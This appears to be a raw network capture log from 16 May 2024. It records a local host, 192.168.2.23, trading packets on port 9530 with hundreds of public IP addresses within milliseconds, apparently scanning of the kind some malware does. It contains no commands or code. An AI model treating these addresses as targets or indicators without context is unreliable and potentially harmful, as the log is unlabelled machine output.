May 16, 2024 16:38:53.001677990 CEST	9530	55095	222.89.217.66	192.168.2.23
May 16, 2024 16:38:53.001679897 CEST	9530	55095	66.126.49.121	192.168.2.23
May 16, 2024 16:38:53.001679897 CEST	55095	9530	192.168.2.23	124.167.211.252
May 16, 2024 16:38:53.001681089 CEST	9530	55095	169.71.77.36	192.168.2.23
May 16, 2024 16:38:53.001682043 CEST	55095	9530	192.168.2.23	19.80.170.166
May 16, 2024 16:38:53.001682043 CEST	55095	9530	192.168.2.23	218.182.210.238
May 16, 2024 16:38:53.001683950 CEST	55095	9530	192.168.2.23	160.127.13.50
May 16, 2024 16:38:53.001687050 CEST	9530	55095	9.177.73.29	192.168.2.23
May 16, 2024 16:38:53.001698017 CEST	9530	55095	71.25.149.38	192.168.2.23
May 16, 2024 16:38:53.001703978 CEST	55095	9530	192.168.2.23	42.63.4.50
May 16, 2024 16:38:53.001705885 CEST	55095	9530	192.168.2.23	61.141.60.21
May 16, 2024 16:38:53.001712084 CEST	9530	55095	170.25.77.158	192.168.2.23
May 16, 2024 16:38:53.001713037 CEST	55095	9530	192.168.2.23	222.89.217.66
May 16, 2024 16:38:53.001713037 CEST	55095	9530	192.168.2.23	169.71.77.36
May 16, 2024 16:38:53.001718998 CEST	9530	55095	142.94.140.241	192.168.2.23
May 16, 2024 16:38:53.001720905 CEST	9530	55095	116.235.230.74	192.168.2.23
May 16, 2024 16:38:53.001722097 CEST	55095	9530	192.168.2.23	9.177.73.29
May 16, 2024 16:38:53.001724958 CEST	9530	55095	77.59.254.162	192.168.2.23
May 16, 2024 16:38:53.001734018 CEST	55095	9530	192.168.2.23	71.25.149.38
May 16, 2024 16:38:53.001734018 CEST	55095	9530	192.168.2.23	66.126.49.121
May 16, 2024 16:38:53.001744986 CEST	55095	9530	192.168.2.23	41.131.48.121
May 16, 2024 16:38:53.001753092 CEST	55095	9530	192.168.2.23	116.235.230.74
May 16, 2024 16:38:53.001754999 CEST	55095	9530	192.168.2.23	142.94.140.241
May 16, 2024 16:38:53.001754999 CEST	55095	9530	192.168.2.23	77.59.254.162
May 16, 2024 16:38:53.001760006 CEST	55095	9530	192.168.2.23	170.25.77.158
May 16, 2024 16:38:53.002125978 CEST	9530	55095	114.104.217.146	192.168.2.23
May 16, 2024 16:38:53.002139091 CEST	9530	55095	202.163.95.210	192.168.2.23
May 16, 2024 16:38:53.002149105 CEST	9530	55095	12.200.35.216	192.168.2.23
May 16, 2024 16:38:53.002156973 CEST	9530	55095	75.97.75.11	192.168.2.23
May 16, 2024 16:38:53.002166986 CEST	9530	55095	217.161.22.245	192.168.2.23
May 16, 2024 16:38:53.002175093 CEST	9530	55095	95.169.165.114	192.168.2.23
May 16, 2024 16:38:53.002178907 CEST	55095	9530	192.168.2.23	114.104.217.146
May 16, 2024 16:38:53.002186060 CEST	9530	55095	13.38.156.145	192.168.2.23
May 16, 2024 16:38:53.002190113 CEST	55095	9530	192.168.2.23	12.200.35.216
May 16, 2024 16:38:53.002190113 CEST	55095	9530	192.168.2.23	217.161.22.245
May 16, 2024 16:38:53.002190113 CEST	55095	9530	192.168.2.23	75.97.75.11
May 16, 2024 16:38:53.002197027 CEST	9530	55095	158.24.59.135	192.168.2.23
May 16, 2024 16:38:53.002204895 CEST	55095	9530	192.168.2.23	95.169.165.114
May 16, 2024 16:38:53.002208948 CEST	55095	9530	192.168.2.23	202.163.95.210
May 16, 2024 16:38:53.002213955 CEST	9530	55095	208.0.92.175	192.168.2.23
May 16, 2024 16:38:53.002223969 CEST	9530	55095	31.227.29.217	192.168.2.23
May 16, 2024 16:38:53.002228975 CEST	9530	55095	36.51.204.105	192.168.2.23
May 16, 2024 16:38:53.002230883 CEST	55095	9530	192.168.2.23	13.38.156.145
May 16, 2024 16:38:53.002232075 CEST	55095	9530	192.168.2.23	158.24.59.135
May 16, 2024 16:38:53.002232075 CEST	9530	55095	186.25.76.191	192.168.2.23
May 16, 2024 16:38:53.002248049 CEST	9530	55095	106.109.148.21	192.168.2.23
May 16, 2024 16:38:53.002258062 CEST	9530	55095	12.50.221.82	192.168.2.23
May 16, 2024 16:38:53.002264977 CEST	55095	9530	192.168.2.23	31.227.29.217
May 16, 2024 16:38:53.002270937 CEST	9530	55095	71.157.145.90	192.168.2.23
May 16, 2024 16:38:53.002280951 CEST	55095	9530	192.168.2.23	208.0.92.175
May 16, 2024 16:38:53.002281904 CEST	9530	55095	34.48.156.174	192.168.2.23
May 16, 2024 16:38:53.002289057 CEST	55095	9530	192.168.2.23	36.51.204.105
May 16, 2024 16:38:53.002293110 CEST	9530	55095	133.112.81.5	192.168.2.23
May 16, 2024 16:38:53.002300024 CEST	55095	9530	192.168.2.23	186.25.76.191
May 16, 2024 16:38:53.002300024 CEST	55095	9530	192.168.2.23	106.109.148.21
May 16, 2024 16:38:53.002300024 CEST	55095	9530	192.168.2.23	12.50.221.82
May 16, 2024 16:38:53.002310038 CEST	55095	9530	192.168.2.23	71.157.145.90
May 16, 2024 16:38:53.002310991 CEST	9530	55095	167.179.35.147	192.168.2.23
May 16, 2024 16:38:53.002315998 CEST	55095	9530	192.168.2.23	133.112.81.5
May 16, 2024 16:38:53.002317905 CEST	55095	9530	192.168.2.23	34.48.156.174
May 16, 2024 16:38:53.002322912 CEST	9530	55095	172.170.116.171	192.168.2.23
May 16, 2024 16:38:53.002351999 CEST	55095	9530	192.168.2.23	167.179.35.147
May 16, 2024 16:38:53.002352953 CEST	9530	55095	223.48.237.112	192.168.2.23
May 16, 2024 16:38:53.002371073 CEST	9530	55095	96.57.253.178	192.168.2.23
May 16, 2024 16:38:53.002372980 CEST	55095	9530	192.168.2.23	172.170.116.171
May 16, 2024 16:38:53.002396107 CEST	55095	9530	192.168.2.23	223.48.237.112
May 16, 2024 16:38:53.002409935 CEST	55095	9530	192.168.2.23	96.57.253.178
May 16, 2024 16:38:53.003319979 CEST	9530	55095	196.207.161.208	192.168.2.23
May 16, 2024 16:38:53.003325939 CEST	9530	55095	64.199.123.60	192.168.2.23
May 16, 2024 16:38:53.003329992 CEST	9530	55095	87.41.48.138	192.168.2.23
May 16, 2024 16:38:53.003335953 CEST	9530	55095	165.43.33.242	192.168.2.23
May 16, 2024 16:38:53.003340960 CEST	9530	55095	123.180.182.9	192.168.2.23
May 16, 2024 16:38:53.003346920 CEST	9530	55095	83.202.233.119	192.168.2.23
May 16, 2024 16:38:53.003350019 CEST	55095	9530	192.168.2.23	196.207.161.208
May 16, 2024 16:38:53.003353119 CEST	9530	55095	125.106.182.45	192.168.2.23
May 16, 2024 16:38:53.003357887 CEST	9530	55095	41.81.9.73	192.168.2.23
May 16, 2024 16:38:53.003362894 CEST	9530	55095	212.28.57.202	192.168.2.23
May 16, 2024 16:38:53.003366947 CEST	55095	9530	192.168.2.23	64.199.123.60
May 16, 2024 16:38:53.003366947 CEST	55095	9530	192.168.2.23	165.43.33.242
May 16, 2024 16:38:53.003367901 CEST	9530	55095	161.141.235.71	192.168.2.23
May 16, 2024 16:38:53.003370047 CEST	9530	55095	98.243.222.209	192.168.2.23
May 16, 2024 16:38:53.003376007 CEST	9530	55095	110.110.237.237	192.168.2.23
May 16, 2024 16:38:53.003380060 CEST	9530	55095	217.168.182.16	192.168.2.23
May 16, 2024 16:38:53.003384113 CEST	9530	55095	53.167.252.56	192.168.2.23
May 16, 2024 16:38:53.003387928 CEST	55095	9530	192.168.2.23	87.41.48.138
May 16, 2024 16:38:53.003387928 CEST	55095	9530	192.168.2.23	83.202.233.119
May 16, 2024 16:38:53.003387928 CEST	55095	9530	192.168.2.23	123.180.182.9
May 16, 2024 16:38:53.003388882 CEST	9530	55095	41.3.144.102	192.168.2.23
May 16, 2024 16:38:53.003391027 CEST	9530	55095	107.93.52.155	192.168.2.23
May 16, 2024 16:38:53.003391981 CEST	9530	55095	178.1.143.246	192.168.2.23
May 16, 2024 16:38:53.003396034 CEST	55095	9530	192.168.2.23	125.106.182.45
May 16, 2024 16:38:53.003398895 CEST	9530	55095	220.216.37.110	192.168.2.23
May 16, 2024 16:38:53.003401041 CEST	55095	9530	192.168.2.23	212.28.57.202
May 16, 2024 16:38:53.003405094 CEST	55095	9530	192.168.2.23	161.141.235.71
May 16, 2024 16:38:53.003411055 CEST	9530	55095	187.86.144.38	192.168.2.23
May 16, 2024 16:38:53.003418922 CEST	55095	9530	192.168.2.23	110.110.237.237
May 16, 2024 16:38:53.003418922 CEST	55095	9530	192.168.2.23	41.3.144.102
May 16, 2024 16:38:53.003421068 CEST	9530	55095	179.103.16.228	192.168.2.23
May 16, 2024 16:38:53.003424883 CEST	55095	9530	192.168.2.23	98.243.222.209
May 16, 2024 16:38:53.003427982 CEST	55095	9530	192.168.2.23	53.167.252.56
May 16, 2024 16:38:53.003432035 CEST	55095	9530	192.168.2.23	217.168.182.16
May 16, 2024 16:38:53.003436089 CEST	55095	9530	192.168.2.23	107.93.52.155
May 16, 2024 16:38:53.003437996 CEST	55095	9530	192.168.2.23	41.81.9.73
May 16, 2024 16:38:53.003438950 CEST	55095	9530	192.168.2.23	178.1.143.246
May 16, 2024 16:38:53.003463030 CEST	55095	9530	192.168.2.23	187.86.144.38
May 16, 2024 16:38:53.003477097 CEST	55095	9530	192.168.2.23	220.216.37.110
May 16, 2024 16:38:53.003477097 CEST	55095	9530	192.168.2.23	179.103.16.228
May 16, 2024 16:38:53.003494978 CEST	9530	55095	82.197.61.196	192.168.2.23
May 16, 2024 16:38:53.003509998 CEST	9530	55095	209.24.94.237	192.168.2.23
May 16, 2024 16:38:53.003519058 CEST	9530	55095	174.248.240.20	192.168.2.23
May 16, 2024 16:38:53.003528118 CEST	9530	55095	208.69.41.246	192.168.2.23
May 16, 2024 16:38:53.003537893 CEST	9530	55095	222.43.33.63	192.168.2.23
May 16, 2024 16:38:53.003540039 CEST	55095	9530	192.168.2.23	82.197.61.196
May 16, 2024 16:38:53.003540993 CEST	55095	9530	192.168.2.23	209.24.94.237
May 16, 2024 16:38:53.003547907 CEST	9530	55095	83.12.92.120	192.168.2.23
May 16, 2024 16:38:53.003559113 CEST	9530	55095	122.48.41.212	192.168.2.23
May 16, 2024 16:38:53.003566027 CEST	55095	9530	192.168.2.23	174.248.240.20
May 16, 2024 16:38:53.003570080 CEST	9530	55095	223.102.119.110	192.168.2.23
May 16, 2024 16:38:53.003580093 CEST	55095	9530	192.168.2.23	222.43.33.63
May 16, 2024 16:38:53.003582001 CEST	9530	55095	169.31.116.98	192.168.2.23
May 16, 2024 16:38:53.003597975 CEST	9530	55095	60.114.29.254	192.168.2.23
May 16, 2024 16:38:53.003598928 CEST	55095	9530	192.168.2.23	208.69.41.246
May 16, 2024 16:38:53.003598928 CEST	55095	9530	192.168.2.23	83.12.92.120
May 16, 2024 16:38:53.003611088 CEST	55095	9530	192.168.2.23	223.102.119.110
May 16, 2024 16:38:53.003612041 CEST	55095	9530	192.168.2.23	122.48.41.212
May 16, 2024 16:38:53.003611088 CEST	55095	9530	192.168.2.23	169.31.116.98
May 16, 2024 16:38:53.003628016 CEST	9530	55095	163.252.139.210	192.168.2.23
May 16, 2024 16:38:53.003633976 CEST	9530	55095	196.35.33.239	192.168.2.23
May 16, 2024 16:38:53.003638983 CEST	9530	55095	216.254.125.150	192.168.2.23
May 16, 2024 16:38:53.003643990 CEST	9530	55095	176.85.12.216	192.168.2.23
May 16, 2024 16:38:53.003645897 CEST	9530	55095	100.0.231.124	192.168.2.23
May 16, 2024 16:38:53.003650904 CEST	9530	55095	171.37.190.94	192.168.2.23
May 16, 2024 16:38:53.003655910 CEST	9530	55095	109.143.186.237	192.168.2.23
May 16, 2024 16:38:53.003660917 CEST	9530	55095	104.129.85.34	192.168.2.23
May 16, 2024 16:38:53.003665924 CEST	9530	55095	147.32.63.55	192.168.2.23
May 16, 2024 16:38:53.003668070 CEST	9530	55095	150.217.249.224	192.168.2.23
May 16, 2024 16:38:53.003669977 CEST	9530	55095	153.1.69.218	192.168.2.23
May 16, 2024 16:38:53.003678083 CEST	55095	9530	192.168.2.23	171.37.190.94
May 16, 2024 16:38:53.003679991 CEST	55095	9530	192.168.2.23	60.114.29.254
May 16, 2024 16:38:53.003679991 CEST	55095	9530	192.168.2.23	196.35.33.239
May 16, 2024 16:38:53.003679991 CEST	55095	9530	192.168.2.23	163.252.139.210
May 16, 2024 16:38:53.003681898 CEST	55095	9530	192.168.2.23	109.143.186.237
May 16, 2024 16:38:53.003703117 CEST	55095	9530	192.168.2.23	216.254.125.150
May 16, 2024 16:38:53.003705978 CEST	9530	55095	19.181.220.197	192.168.2.23
May 16, 2024 16:38:53.003711939 CEST	55095	9530	192.168.2.23	176.85.12.216
May 16, 2024 16:38:53.003719091 CEST	9530	55095	121.6.137.37	192.168.2.23
May 16, 2024 16:38:53.003725052 CEST	55095	9530	192.168.2.23	100.0.231.124
May 16, 2024 16:38:53.003731966 CEST	9530	55095	142.216.42.73	192.168.2.23
May 16, 2024 16:38:53.003739119 CEST	55095	9530	192.168.2.23	147.32.63.55
May 16, 2024 16:38:53.003739119 CEST	55095	9530	192.168.2.23	150.217.249.224
May 16, 2024 16:38:53.003740072 CEST	55095	9530	192.168.2.23	104.129.85.34
May 16, 2024 16:38:53.003740072 CEST	55095	9530	192.168.2.23	153.1.69.218
May 16, 2024 16:38:53.003740072 CEST	55095	9530	192.168.2.23	19.181.220.197
May 16, 2024 16:38:53.003741980 CEST	55095	9530	192.168.2.23	121.6.137.37
May 16, 2024 16:38:53.003742933 CEST	9530	55095	58.244.252.146	192.168.2.23
May 16, 2024 16:38:53.003760099 CEST	55095	9530	192.168.2.23	142.216.42.73
May 16, 2024 16:38:53.003760099 CEST	9530	55095	223.234.189.101	192.168.2.23
May 16, 2024 16:38:53.003776073 CEST	55095	9530	192.168.2.23	58.244.252.146
May 16, 2024 16:38:53.003793955 CEST	55095	9530	192.168.2.23	223.234.189.101
May 16, 2024 16:38:53.004492044 CEST	9530	55095	103.190.35.241	192.168.2.23
May 16, 2024 16:38:53.004508972 CEST	9530	55095	173.98.224.12	192.168.2.23
May 16, 2024 16:38:53.004520893 CEST	9530	55095	170.116.155.125	192.168.2.23
May 16, 2024 16:38:53.004524946 CEST	55095	9530	192.168.2.23	103.190.35.241
May 16, 2024 16:38:53.004530907 CEST	9530	55095	97.215.60.77	192.168.2.23
May 16, 2024 16:38:53.004543066 CEST	9530	55095	193.18.129.5	192.168.2.23
May 16, 2024 16:38:53.004553080 CEST	9530	55095	216.58.189.104	192.168.2.23
May 16, 2024 16:38:53.004553080 CEST	55095	9530	192.168.2.23	173.98.224.12
May 16, 2024 16:38:53.004563093 CEST	9530	55095	61.139.199.59	192.168.2.23
May 16, 2024 16:38:53.004573107 CEST	55095	9530	192.168.2.23	193.18.129.5
May 16, 2024 16:38:53.004573107 CEST	9530	55095	192.151.23.29	192.168.2.23
May 16, 2024 16:38:53.004575014 CEST	55095	9530	192.168.2.23	97.215.60.77
May 16, 2024 16:38:53.004585028 CEST	55095	9530	192.168.2.23	170.116.155.125
May 16, 2024 16:38:53.004592896 CEST	55095	9530	192.168.2.23	216.58.189.104
May 16, 2024 16:38:53.004606009 CEST	55095	9530	192.168.2.23	61.139.199.59
May 16, 2024 16:38:53.004606009 CEST	9530	55095	77.121.54.168	192.168.2.23
May 16, 2024 16:38:53.004618883 CEST	9530	55095	206.178.220.41	192.168.2.23
May 16, 2024 16:38:53.004628897 CEST	9530	55095	197.51.202.140	192.168.2.23
May 16, 2024 16:38:53.004631042 CEST	55095	9530	192.168.2.23	192.151.23.29
May 16, 2024 16:38:53.004640102 CEST	9530	55095	71.113.130.111	192.168.2.23
May 16, 2024 16:38:53.004648924 CEST	55095	9530	192.168.2.23	77.121.54.168
May 16, 2024 16:38:53.004654884 CEST	55095	9530	192.168.2.23	206.178.220.41
May 16, 2024 16:38:53.004661083 CEST	55095	9530	192.168.2.23	197.51.202.140
May 16, 2024 16:38:53.004672050 CEST	55095	9530	192.168.2.23	71.113.130.111
May 16, 2024 16:38:53.004676104 CEST	9530	55095	181.202.35.158	192.168.2.23
May 16, 2024 16:38:53.004699945 CEST	9530	55095	130.4.127.243	192.168.2.23
May 16, 2024 16:38:53.004710913 CEST	9530	55095	100.228.212.186	192.168.2.23
May 16, 2024 16:38:53.004720926 CEST	9530	55095	146.57.232.74	192.168.2.23
May 16, 2024 16:38:53.004731894 CEST	9530	55095	130.83.43.170	192.168.2.23
May 16, 2024 16:38:53.004738092 CEST	9530	55095	140.31.229.38	192.168.2.23
May 16, 2024 16:38:53.004740000 CEST	9530	55095	212.138.203.38	192.168.2.23
May 16, 2024 16:38:53.004745007 CEST	9530	55095	138.63.227.15	192.168.2.23
May 16, 2024 16:38:53.004749060 CEST	55095	9530	192.168.2.23	100.228.212.186
May 16, 2024 16:38:53.004750013 CEST	55095	9530	192.168.2.23	146.57.232.74
May 16, 2024 16:38:53.004762888 CEST	55095	9530	192.168.2.23	140.31.229.38
May 16, 2024 16:38:53.004762888 CEST	55095	9530	192.168.2.23	212.138.203.38
May 16, 2024 16:38:53.004785061 CEST	55095	9530	192.168.2.23	130.83.43.170
May 16, 2024 16:38:53.004786015 CEST	55095	9530	192.168.2.23	181.202.35.158
May 16, 2024 16:38:53.004786015 CEST	55095	9530	192.168.2.23	138.63.227.15
May 16, 2024 16:38:53.004786015 CEST	55095	9530	192.168.2.23	130.4.127.243
May 16, 2024 16:38:53.005059958 CEST	9530	55095	95.77.128.224	192.168.2.23
May 16, 2024 16:38:53.005063057 CEST	9530	55095	188.224.32.35	192.168.2.23
May 16, 2024 16:38:53.005072117 CEST	9530	55095	110.5.102.28	192.168.2.23
May 16, 2024 16:38:53.005074024 CEST	9530	55095	181.55.102.241	192.168.2.23
May 16, 2024 16:38:53.005075932 CEST	9530	55095	195.218.231.34	192.168.2.23
May 16, 2024 16:38:53.005095005 CEST	55095	9530	192.168.2.23	95.77.128.224
May 16, 2024 16:38:53.005099058 CEST	9530	55095	165.188.26.158	192.168.2.23
May 16, 2024 16:38:53.005108118 CEST	55095	9530	192.168.2.23	188.224.32.35
May 16, 2024 16:38:53.005110979 CEST	55095	9530	192.168.2.23	110.5.102.28
May 16, 2024 16:38:53.005110979 CEST	55095	9530	192.168.2.23	195.218.231.34
May 16, 2024 16:38:53.005111933 CEST	9530	55095	62.223.167.91	192.168.2.23
May 16, 2024 16:38:53.005112886 CEST	55095	9530	192.168.2.23	181.55.102.241
May 16, 2024 16:38:53.005121946 CEST	9530	55095	52.22.162.108	192.168.2.23
May 16, 2024 16:38:53.005127907 CEST	55095	9530	192.168.2.23	165.188.26.158
May 16, 2024 16:38:53.005140066 CEST	9530	55095	37.115.225.191	192.168.2.23
May 16, 2024 16:38:53.005151033 CEST	9530	55095	25.243.5.206	192.168.2.23
May 16, 2024 16:38:53.005156994 CEST	55095	9530	192.168.2.23	52.22.162.108
May 16, 2024 16:38:53.005157948 CEST	55095	9530	192.168.2.23	62.223.167.91
May 16, 2024 16:38:53.005161047 CEST	9530	55095	134.91.194.10	192.168.2.23
May 16, 2024 16:38:53.005181074 CEST	55095	9530	192.168.2.23	25.243.5.206
May 16, 2024 16:38:53.005183935 CEST	9530	55095	197.96.188.245	192.168.2.23
May 16, 2024 16:38:53.005188942 CEST	55095	9530	192.168.2.23	37.115.225.191
May 16, 2024 16:38:53.005194902 CEST	9530	55095	31.179.191.43	192.168.2.23
May 16, 2024 16:38:53.005207062 CEST	9530	55095	41.30.112.110	192.168.2.23
May 16, 2024 16:38:53.005213976 CEST	55095	9530	192.168.2.23	134.91.194.10
May 16, 2024 16:38:53.005218983 CEST	9530	55095	120.181.216.102	192.168.2.23
May 16, 2024 16:38:53.005227089 CEST	9530	55095	205.120.201.9	192.168.2.23
May 16, 2024 16:38:53.005233049 CEST	9530	55095	66.11.223.249	192.168.2.23
May 16, 2024 16:38:53.005234957 CEST	9530	55095	164.182.179.178	192.168.2.23
May 16, 2024 16:38:53.005239964 CEST	9530	55095	145.243.25.240	192.168.2.23
May 16, 2024 16:38:53.005244970 CEST	9530	55095	62.24.97.104	192.168.2.23
May 16, 2024 16:38:53.005259991 CEST	55095	9530	192.168.2.23	120.181.216.102
May 16, 2024 16:38:53.005259991 CEST	55095	9530	192.168.2.23	205.120.201.9
May 16, 2024 16:38:53.005265951 CEST	55095	9530	192.168.2.23	197.96.188.245
May 16, 2024 16:38:53.005270004 CEST	55095	9530	192.168.2.23	62.24.97.104
May 16, 2024 16:38:53.005280972 CEST	55095	9530	192.168.2.23	145.243.25.240
May 16, 2024 16:38:53.005284071 CEST	55095	9530	192.168.2.23	41.30.112.110
May 16, 2024 16:38:53.005284071 CEST	55095	9530	192.168.2.23	66.11.223.249
May 16, 2024 16:38:53.005285025 CEST	55095	9530	192.168.2.23	31.179.191.43
May 16, 2024 16:38:53.005284071 CEST	55095	9530	192.168.2.23	164.182.179.178
May 16, 2024 16:38:53.006326914 CEST	9530	55095	41.112.185.253	192.168.2.23
May 16, 2024 16:38:53.006336927 CEST	9530	55095	54.62.88.251	192.168.2.23
May 16, 2024 16:38:53.006344080 CEST	9530	55095	185.141.53.4	192.168.2.23
May 16, 2024 16:38:53.006349087 CEST	9530	55095	75.97.228.157	192.168.2.23
May 16, 2024 16:38:53.006354094 CEST	9530	55095	76.216.146.214	192.168.2.23
May 16, 2024 16:38:53.006359100 CEST	9530	55095	222.44.69.19	192.168.2.23
May 16, 2024 16:38:53.006359100 CEST	55095	9530	192.168.2.23	41.112.185.253
May 16, 2024 16:38:53.006364107 CEST	9530	55095	14.163.1.31	192.168.2.23
May 16, 2024 16:38:53.006370068 CEST	9530	55095	143.175.196.209	192.168.2.23
May 16, 2024 16:38:53.006373882 CEST	9530	55095	219.161.158.137	192.168.2.23
May 16, 2024 16:38:53.006378889 CEST	9530	55095	118.225.67.184	192.168.2.23
May 16, 2024 16:38:53.006382942 CEST	55095	9530	192.168.2.23	185.141.53.4
May 16, 2024 16:38:53.006385088 CEST	9530	55095	137.68.77.33	192.168.2.23
May 16, 2024 16:38:53.006390095 CEST	9530	55095	149.242.25.143	192.168.2.23
May 16, 2024 16:38:53.006393909 CEST	55095	9530	192.168.2.23	219.161.158.137
May 16, 2024 16:38:53.006395102 CEST	55095	9530	192.168.2.23	75.97.228.157
May 16, 2024 16:38:53.006396055 CEST	9530	55095	158.21.108.189	192.168.2.23
May 16, 2024 16:38:53.006400108 CEST	9530	55095	42.50.84.73	192.168.2.23
May 16, 2024 16:38:53.006405115 CEST	9530	55095	133.45.47.250	192.168.2.23
May 16, 2024 16:38:53.006409883 CEST	55095	9530	192.168.2.23	118.225.67.184
May 16, 2024 16:38:53.006411076 CEST	9530	55095	59.192.77.13	192.168.2.23
May 16, 2024 16:38:53.006409883 CEST	55095	9530	192.168.2.23	137.68.77.33
May 16, 2024 16:38:53.006416082 CEST	9530	55095	101.163.140.80	192.168.2.23
May 16, 2024 16:38:53.006421089 CEST	9530	55095	208.226.36.211	192.168.2.23
May 16, 2024 16:38:53.006422997 CEST	9530	55095	155.197.14.211	192.168.2.23
May 16, 2024 16:38:53.006423950 CEST	55095	9530	192.168.2.23	143.175.196.209
May 16, 2024 16:38:53.006426096 CEST	55095	9530	192.168.2.23	14.163.1.31
May 16, 2024 16:38:53.006428003 CEST	9530	55095	69.247.120.87	192.168.2.23
May 16, 2024 16:38:53.006429911 CEST	9530	55095	136.35.188.165	192.168.2.23
May 16, 2024 16:38:53.006429911 CEST	55095	9530	192.168.2.23	76.216.146.214
May 16, 2024 16:38:53.006429911 CEST	55095	9530	192.168.2.23	222.44.69.19
May 16, 2024 16:38:53.006434917 CEST	55095	9530	192.168.2.23	149.242.25.143
May 16, 2024 16:38:53.006434917 CEST	55095	9530	192.168.2.23	42.50.84.73
May 16, 2024 16:38:53.006434917 CEST	55095	9530	192.168.2.23	158.21.108.189
May 16, 2024 16:38:53.006439924 CEST	55095	9530	192.168.2.23	133.45.47.250
May 16, 2024 16:38:53.006455898 CEST	55095	9530	192.168.2.23	208.226.36.211
May 16, 2024 16:38:53.006463051 CEST	55095	9530	192.168.2.23	101.163.140.80
May 16, 2024 16:38:53.006469965 CEST	55095	9530	192.168.2.23	54.62.88.251
May 16, 2024 16:38:53.006469965 CEST	55095	9530	192.168.2.23	59.192.77.13
May 16, 2024 16:38:53.006469965 CEST	55095	9530	192.168.2.23	69.247.120.87
May 16, 2024 16:38:53.006469965 CEST	55095	9530	192.168.2.23	155.197.14.211
May 16, 2024 16:38:53.006493092 CEST	55095	9530	192.168.2.23	136.35.188.165
May 16, 2024 16:38:53.006583929 CEST	9530	55095	104.48.17.196	192.168.2.23
May 16, 2024 16:38:53.006596088 CEST	9530	55095	195.220.86.208	192.168.2.23
May 16, 2024 16:38:53.006603956 CEST	9530	55095	102.33.48.72	192.168.2.23
May 16, 2024 16:38:53.006613016 CEST	9530	55095	146.68.68.114	192.168.2.23
May 16, 2024 16:38:53.006622076 CEST	9530	55095	24.148.39.7	192.168.2.23
May 16, 2024 16:38:53.006625891 CEST	55095	9530	192.168.2.23	104.48.17.196
May 16, 2024 16:38:53.006628990 CEST	55095	9530	192.168.2.23	195.220.86.208
May 16, 2024 16:38:53.006635904 CEST	55095	9530	192.168.2.23	102.33.48.72
May 16, 2024 16:38:53.006637096 CEST	9530	55095	158.87.71.23	192.168.2.23
May 16, 2024 16:38:53.006642103 CEST	9530	55095	87.5.24.139	192.168.2.23
May 16, 2024 16:38:53.006648064 CEST	9530	55095	141.212.128.231	192.168.2.23
May 16, 2024 16:38:53.006652117 CEST	55095	9530	192.168.2.23	24.148.39.7
May 16, 2024 16:38:53.006654024 CEST	9530	55095	146.20.146.188	192.168.2.23
May 16, 2024 16:38:53.006659031 CEST	9530	55095	8.214.104.130	192.168.2.23
May 16, 2024 16:38:53.006660938 CEST	55095	9530	192.168.2.23	158.87.71.23
May 16, 2024 16:38:53.006661892 CEST	55095	9530	192.168.2.23	146.68.68.114
May 16, 2024 16:38:53.006664038 CEST	9530	55095	175.209.205.119	192.168.2.23
May 16, 2024 16:38:53.006665945 CEST	9530	55095	80.38.168.205	192.168.2.23
May 16, 2024 16:38:53.006668091 CEST	55095	9530	192.168.2.23	87.5.24.139
May 16, 2024 16:38:53.006671906 CEST	9530	55095	59.129.243.80	192.168.2.23
May 16, 2024 16:38:53.006676912 CEST	9530	55095	180.102.127.122	192.168.2.23
May 16, 2024 16:38:53.006679058 CEST	9530	55095	85.164.221.65	192.168.2.23
May 16, 2024 16:38:53.006680012 CEST	9530	55095	210.206.238.18	192.168.2.23
May 16, 2024 16:38:53.006681919 CEST	9530	55095	69.187.169.129	192.168.2.23
May 16, 2024 16:38:53.006683111 CEST	9530	55095	32.134.90.130	192.168.2.23
May 16, 2024 16:38:53.006684065 CEST	9530	55095	98.184.102.138	192.168.2.23
May 16, 2024 16:38:53.006685019 CEST	55095	9530	192.168.2.23	146.20.146.188
May 16, 2024 16:38:53.006686926 CEST	9530	55095	133.198.172.13	192.168.2.23
May 16, 2024 16:38:53.006694078 CEST	55095	9530	192.168.2.23	141.212.128.231
May 16, 2024 16:38:53.006694078 CEST	55095	9530	192.168.2.23	175.209.205.119
May 16, 2024 16:38:53.006704092 CEST	55095	9530	192.168.2.23	80.38.168.205
May 16, 2024 16:38:53.006704092 CEST	55095	9530	192.168.2.23	59.129.243.80
May 16, 2024 16:38:53.006712914 CEST	55095	9530	192.168.2.23	8.214.104.130
May 16, 2024 16:38:53.006721973 CEST	55095	9530	192.168.2.23	180.102.127.122
May 16, 2024 16:38:53.006736040 CEST	55095	9530	192.168.2.23	133.198.172.13
May 16, 2024 16:38:53.006735086 CEST	55095	9530	192.168.2.23	85.164.221.65
May 16, 2024 16:38:53.006735086 CEST	55095	9530	192.168.2.23	210.206.238.18
May 16, 2024 16:38:53.006738901 CEST	55095	9530	192.168.2.23	69.187.169.129
May 16, 2024 16:38:53.006738901 CEST	55095	9530	192.168.2.23	98.184.102.138
May 16, 2024 16:38:53.006750107 CEST	55095	9530	192.168.2.23	32.134.90.130
May 16, 2024 16:38:53.006983042 CEST	60204	52869	192.168.2.23	203.104.93.44
May 16, 2024 16:38:53.007285118 CEST	9530	55095	110.99.225.142	192.168.2.23
May 16, 2024 16:38:53.007287025 CEST	9530	55095	162.198.235.240	192.168.2.23
May 16, 2024 16:38:53.007297993 CEST	9530	55095	196.22.186.22	192.168.2.23
May 16, 2024 16:38:53.007308006 CEST	9530	55095	8.80.91.0	192.168.2.23
May 16, 2024 16:38:53.007312059 CEST	9530	55095	69.244.220.138	192.168.2.23
May 16, 2024 16:38:53.007312059 CEST	55095	9530	192.168.2.23	162.198.235.240
May 16, 2024 16:38:53.007316113 CEST	9530	55095	65.19.202.137	192.168.2.23
May 16, 2024 16:38:53.007319927 CEST	55095	9530	192.168.2.23	110.99.225.142
May 16, 2024 16:38:53.007320881 CEST	9530	55095	4.146.115.50	192.168.2.23
May 16, 2024 16:38:53.007339954 CEST	9530	55095	173.112.38.27	192.168.2.23
May 16, 2024 16:38:53.007343054 CEST	55095	9530	192.168.2.23	196.22.186.22
May 16, 2024 16:38:53.007343054 CEST	55095	9530	192.168.2.23	8.80.91.0
May 16, 2024 16:38:53.007350922 CEST	9530	55095	170.26.44.12	192.168.2.23
May 16, 2024 16:38:53.007359982 CEST	55095	9530	192.168.2.23	69.244.220.138
May 16, 2024 16:38:53.007363081 CEST	9530	55095	152.2.103.153	192.168.2.23
May 16, 2024 16:38:53.007369995 CEST	55095	9530	192.168.2.23	65.19.202.137
May 16, 2024 16:38:53.007371902 CEST	55095	9530	192.168.2.23	4.146.115.50
May 16, 2024 16:38:53.007373095 CEST	9530	55095	82.127.67.182	192.168.2.23
